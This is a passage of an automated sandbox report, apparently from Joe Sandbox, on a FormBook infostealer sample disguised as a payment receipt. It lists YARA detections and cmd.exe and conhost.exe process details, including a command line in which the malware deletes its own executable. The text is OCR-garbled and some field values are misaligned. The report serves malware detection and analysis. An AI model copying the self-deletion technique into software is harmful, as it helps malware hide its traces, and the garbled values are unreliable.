e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000000.393636503.00000000075C7000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000004.00000000.393636503.00000000075C7000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000000.393636503.00000000075C7000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
Analysis Process: cmd.exe PID: 6836 Parent PID: 3440

General

Start time: 17:49:57

Start date: 27/10/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Read

Copyright Joe Security LLC 2021

true

C:\Windows\SysWOWe64\cmd.exe
0x2a0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.612889234.00000000028F0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.612889234.00000000028F0000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.612889234.00000000028F0000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.612704721.0000000002740000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.612704721.0000000002740000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.612704721.0000000002740000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.612238410.0000000000240000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.612238410.0000000000240000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.612238410.0000000000240000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

high

Show Windows behavior
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Analysis Process: cmd.exe PID: 6928 Parent PID: 6836

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

17:50:02

27/10/2021

C:\Windows\SysWOW64\cmd.exe

true

Ic del 'C:\Users\user\Desktop\Betalingskvittering.exe’
0x2a0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 6956 Parent PID: 6928

General

Start time: 17:50:03

Start date: 27/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff61de10000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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